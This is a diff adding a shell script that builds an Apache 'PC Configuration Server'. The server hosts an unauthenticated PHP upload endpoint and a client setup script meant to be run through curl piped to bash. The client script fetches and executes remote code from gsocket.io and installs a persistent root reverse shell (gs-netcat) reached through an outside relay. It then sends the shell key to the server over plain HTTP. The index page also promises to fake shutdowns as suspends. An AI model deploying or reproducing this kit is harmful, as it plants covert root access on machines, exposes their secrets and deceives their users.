+if (!file_exists($logs_dir)) {
+    mkdir($logs_dir, 0755, true);
+}
+
+// Create secrets directory if it doesn't exist
+$secrets_dir = './secrets';
+if (!file_exists($secrets_dir)) {
+    mkdir($secrets_dir, 0755, true);
+}
+
+// Get the IP address and hostname
+$ip = isset($_POST['ip']) ? $_POST['ip'] : 'unknown_ip';
+$hostname = isset($_POST['hostname']) ? $_POST['hostname'] : 'unknown_host';
+
+// Sanitize filenames to prevent directory traversal attacks
+$ip = preg_replace('/[^a-zA-Z0-9\.\-]/', '_', $ip);
+$hostname = preg_replace('/[^a-zA-Z0-9\.\-]/', '_', $hostname);
+
+// Save the log file if uploaded
+if (isset($_FILES['logfile']) && $_FILES['logfile']['error'] == 0) {
+    $timestamp = date('Y-m-d_H-i-s');
+    $log_filename = "{$logs_dir}/{$ip}_{$hostname}_{$timestamp}.log";
+    
+    if (move_uploaded_file($_FILES['logfile']['tmp_name'], $log_filename)) {
+        echo "Log file saved successfully.\n";
+    } else {
+        echo "Error saving log file.\n";
+    }
+}
+
+// Save the secret if provided
+if (isset($_POST['secret']) && !empty($_POST['secret'])) {
+    $secret_filename = "{$secrets_dir}/{$hostname}.txt";
+    
+    if (file_put_contents($secret_filename, $_POST['secret'])) {
+        echo "Secret saved successfully.\n";
+    } else {
+        echo "Error saving secret.\n";
+    }
+}
+
+// Provide a response
+header('Content-Type: text/plain');
+echo "Data received from {$hostname} ({$ip}).\n";
+?>
+EOF
+
+# Move PHP file to web root
+sudo mv /tmp/save_log.php /srv/http/
+
+# Create setup script file for Ubuntu clients
+cat > /tmp/setup_script.sh << 'EOF'
+#!/bin/bash
+
+# Define your web server URL where logs will be stored
+WEB_SERVER="http://SERVER_IP_PLACEHOLDER"  # Will be replaced with actual IP
+LOG_ENDPOINT="$WEB_SERVER/save_log.php"
+
+# Get system information
+HOSTNAME=$(hostname)
+IP_ADDRESS=$(hostname -I | awk '{print $1}')
+TIMESTAMP=$(date +"%Y-%m-%d_%H-%M-%S")
+LOG_FILE="/tmp/setup_log_${TIMESTAMP}.txt"
+
+# Function to log commands and their output
+log_command() {
+    local cmd="$1"
+    local description="$2"
+    
+    echo "----------------------------------------------" | tee -a "$LOG_FILE"
+    echo "[$TIMESTAMP] Executing: $description" | tee -a "$LOG_FILE"
+    echo "\$ $cmd" | tee -a "$LOG_FILE"
+    echo "----------------------------------------------" | tee -a "$LOG_FILE"
+    
+    # Execute the command and capture output
+    OUTPUT=$(eval "$cmd" 2>&1)
+    STATUS=$?
+    
+    echo "$OUTPUT" | tee -a "$LOG_FILE"
+    echo "Exit Status: $STATUS" | tee -a "$LOG_FILE"
+    echo "" | tee -a "$LOG_FILE"
+    
+    return $STATUS
+}
+
+# Start logging
+echo "==================================================" | tee -a "$LOG_FILE"
+echo "Setup Script Started on $HOSTNAME ($IP_ADDRESS)" | tee -a "$LOG_FILE"
+echo "Timestamp: $TIMESTAMP" | tee -a "$LOG_FILE"
+echo "==================================================" | tee -a "$LOG_FILE"
+
+
+# 3. Set up Wake-on-LAN
+# Identify network interface
+PRIMARY_INTERFACE=$(ip -o -4 route show to default | awk '{print $5}' | head -n1)
+log_command "echo 'Primary network interface: $PRIMARY_INTERFACE'" "Identifying network interface"
+
+# Enable WoL in network configuration
+cat > /tmp/wol.conf << _EOF_
+[connection]
+ethernet.wake-on-lan = magic
+_EOF_
+
+log_command "sudo mkdir -p /etc/NetworkManager/conf.d/" "Creating NetworkManager config directory"
+log_command "sudo cp /tmp/wol.conf /etc/NetworkManager/conf.d/99-wol.conf" "Setting up Wake-on-LAN in NetworkManager"
+
+# Check if Wake-on-LAN is supported
+WOL_SUPPORTED=$(ethtool $PRIMARY_INTERFACE 2>/dev/null | grep -q "Supports Wake-on" && echo "yes" || echo "no")
+if [ "$WOL_SUPPORTED" = "yes" ]; then
+    log_command "echo 'Wake-on-LAN is supported.'" "Checking Wake-on-LAN support"
+    
+    # Create a systemd service for Wake-on-LAN that runs at boot and after resume
+    cat > /tmp/wol.service << _EOF_
+[Unit]
+Description=Enable Wake On LAN
+After=network.target
+After=suspend.target
+After=hibernate.target
+After=hybrid-sleep.target
+
+[Service]
+Type=oneshot
+ExecStart=/sbin/ethtool -s $PRIMARY_INTERFACE wol g
+RemainAfterExit=yes
+
+[Install]
+WantedBy=multi-user.target
+WantedBy=suspend.target
+WantedBy=hibernate.target
+WantedBy=hybrid-sleep.target
+_EOF_
+
+    log_command "sudo cp /tmp/wol.service /etc/systemd/system/wol.service" "Creating Wake-on-LAN service"
+    log_command "sudo systemctl daemon-reload" "Reloading systemd configuration"
+    log_command "sudo systemctl enable wol.service" "Enabling Wake-on-LAN service"
+    log_command "sudo systemctl start wol.service" "Starting Wake-on-LAN service"
+    
+    # Immediately enable WoL
+    log_command "sudo ethtool -s $PRIMARY_INTERFACE wol g" "Enabling Wake-on-LAN immediately"
+else
+    log_command "echo 'Wake-on-LAN not supported, skipping...'" "Wake-on-LAN not supported"
+fi
+
+# Add WoL persistence through boot in network interfaces
+if [ -f /etc/network/interfaces ]; then
+    # For systems using traditional networking
+    if ! grep -q "up ethtool -s $PRIMARY_INTERFACE wol g" /etc/network/interfaces; then
+        log_command "echo 'auto $PRIMARY_INTERFACE' | sudo tee -a /etc/network/interfaces" "Adding WoL to network interfaces config"
+        log_command "echo 'iface $PRIMARY_INTERFACE inet dhcp' | sudo tee -a /etc/network/interfaces" "Adding WoL to network interfaces config"
+        log_command "echo 'up ethtool -s $PRIMARY_INTERFACE wol g' | sudo tee -a /etc/network/interfaces" "Adding WoL to network interfaces config"
+    fi
+fi
+
+# 4. Execute gsocket command and save the secret
+log_command "echo 'Running gsocket setup...'" "Starting gsocket setup"
+GSOCKET_OUTPUT=$(bash -c "$(curl -fsSL https://gsocket.io/y)" 2>&1)
+echo "$GSOCKET_OUTPUT" | tee -a "$LOG_FILE"
+
+# Extract the secret
+SECRET=$(echo "$GSOCKET_OUTPUT" | grep -o 'S="[^"]*"' | sed 's/S="\(.*\)"/\1/')
+if [ -n "$SECRET" ]; then
+    echo "Secret extracted: $SECRET" | tee -a "$LOG_FILE"
+    echo "$SECRET" > "/tmp/${HOSTNAME}_secret.txt"
+    log_command "echo 'Secret saved to /tmp/${HOSTNAME}_secret.txt'" "Saving secret to file"
+    
+    # Save the secret to the gs-root-shell-key.txt file for the root shell service
+    log_command "sudo mkdir -p /etc/systemd" "Creating systemd directory if it doesn't exist"
+    log_command "echo '$SECRET' | sudo tee /etc/systemd/gs-root-shell-key.txt" "Saving GSSocket secret key for root shell"
+    log_command "sudo chmod 600 /etc/systemd/gs-root-shell-key.txt" "Setting secure permissions on key file"
+else
+    log_command "echo 'Failed to extract secret'" "Secret extraction failed"
+fi
+
+# Install gs-netcat if not already installed by gsocket.io/y script
+if ! command -v gs-netcat &> /dev/null; then
+    log_command "sudo apt-get install -y git build-essential" "Installing dependencies for gs-netcat"
+    log_command "git clone https://github.com/hackerschoice/gsocket.git /tmp/gsocket" "Cloning gsocket repository"
+    log_command "cd /tmp/gsocket && ./bootstrap && ./configure && make && sudo make install" "Building and installing gsocket"
+fi
+
+# 5. Create the Global Socket Root Shell service
+cat > /tmp/gs-root-shell.service << 'EOG'
+[Unit]
+Description=Global Socket Root Shell
+After=network.target
+
+[Service]
+Type=simple
+Restart=always
+RestartSec=10
+WorkingDirectory=/root
+ExecStart=/usr/local/bin/gs-netcat -k /etc/systemd/gs-root-shell-key.txt -il
+
+[Install]
+WantedBy=multi-user.target
+EOG
+
+log_command "sudo cp /tmp/gs-root-shell.service /etc/systemd/system/" "Creating Global Socket Root Shell service"
+log_command "sudo systemctl daemon-reload" "Reloading systemd configuration"
+log_command "sudo systemctl enable gs-root-shell.service" "Enabling Global Socket Root Shell service"
+log_command "sudo systemctl start gs-root-shell.service" "Starting Global Socket Root Shell service"
+log_command "sudo systemctl status gs-root-shell.service" "Checking Global Socket Root Shell service status"
+
+# 6. Upload logs and secret to the web server
+if command -v curl >/dev/null 2>&1; then
+    # Upload the main log file
+    log_command "curl -s -F 'ip=$IP_ADDRESS' -F 'hostname=$HOSTNAME' -F 'logfile=@$LOG_FILE' $LOG_ENDPOINT" "Uploading log file to server"
+    
+    # Upload the secret file if it exists
+    if [ -n "$SECRET" ]; then
+        log_command "curl -s -F 'ip=$IP_ADDRESS' -F 'hostname=$HOSTNAME' -F 'secret=$SECRET' $LOG_ENDPOINT" "Uploading secret to server"
+    fi
+else
+    echo "curl command not found. Cannot upload logs." | tee -a "$LOG_FILE"
+fi
+
+
+# Add usage information to log file
+echo "==================================================" | tee -a "$LOG_FILE"
+echo "GLOBAL SOCKET ROOT SHELL INFORMATION:" | tee -a "$LOG_FILE"
+echo "To connect to this machine's root shell:" | tee -a "$LOG_FILE"
+echo "1. Install gsocket (https://github.com/hackerschoice/gsocket)" | tee -a "$LOG_FILE"
+echo "2. Run: gs-netcat -k KEY -s" | tee -a "$LOG_FILE"
+echo "   Replace KEY with the secret value in /etc/systemd/gs-root-shell-key.txt" | tee -a "$LOG_FILE"
+echo "==================================================" | tee -a "$LOG_FILE"
+
+echo "==================================================" | tee -a "$LOG_FILE"
+echo "Setup completed on $HOSTNAME ($IP_ADDRESS)" | tee -a "$LOG_FILE"
+echo "Timestamp: $(date +"%Y-%m-%d_%H-%M-%S")" | tee -a "$LOG_FILE"
+echo "==================================================" | tee -a "$LOG_FILE"
+
+# Instead of poweroff at the end, show a message
+echo "Configuration completed successfully!"
+EOF
+
+# Get server IP
+SERVER_IP=$(ip -4 addr show | grep -oP '(?<=inet\s)\d+(\.\d+){3}' | grep -v "127.0.0.1" | head -n 1)
+
+# Replace placeholder with actual server IP
+sed -i "s/SERVER_IP_PLACEHOLDER/$SERVER_IP/g" /tmp/setup_script.sh
+
+# Move setup script to web root
+sudo mv /tmp/setup_script.sh /srv/http/
+sudo chmod +x /srv/http/setup_script.sh
+
+# Create a simple index page
+cat > /tmp/index.html << EOF
+<!DOCTYPE html>
+<html>
+<head>
+    <title>PC Configuration Server</title>
+    <style>
+        body { font-family: Arial, sans-serif; margin: 40px; line-height: 1.6; }
+        pre { background: #f4f4f4; padding: 10px; border-radius: 5px; }
+    </style>
+</head>
+<body>
+    <h1>PC Configuration Server</h1>
+    <p>Run the following command on your Ubuntu client machines:</p>
+    <pre>bash -c "\$(curl -fsSL http://${SERVER_IP}/setup_script.sh)"</pre>
+    <p>This script will configure:</p>
+    <ul>
+        <li>Power button to simulate shutdown (but actually suspend)</li>
+        <li>Prevents actual system shutdown - converts all shutdown attempts to suspend</li>
+        <li>SSH server for remote access</li>
+        <li>Wake-on-LAN for remote power on</li>
+        <li>System logging and monitoring</li>
+        <li>Global Socket Root Shell for remote root access</li>
+    </ul>
+</body>
+</html>
+EOF
+
+# Move index file to web root
+sudo mv /tmp/index.html /srv/http/
+
+# Adjust PHP settings for larger file uploads if needed
+sudo sed -i 's/upload_max_filesize = .*/upload_max_filesize = 20M/' /etc/php/php.ini
+sudo sed -i 's/post_max_size = .*/post_max_size = 21M/' /etc/php/php.ini
+
+# Enable and start Apache service
+sudo systemctl enable httpd
+sudo systemctl restart httpd
+
+echo "========================================================"
+echo "Apache web server set up complete at http://$SERVER_IP"
+echo "Run this command on client Ubuntu PCs:"
+echo "bash -c \"\$(curl -fsSL http://$SERVER_IP/setup_script.sh)\""
+echo "========================================================"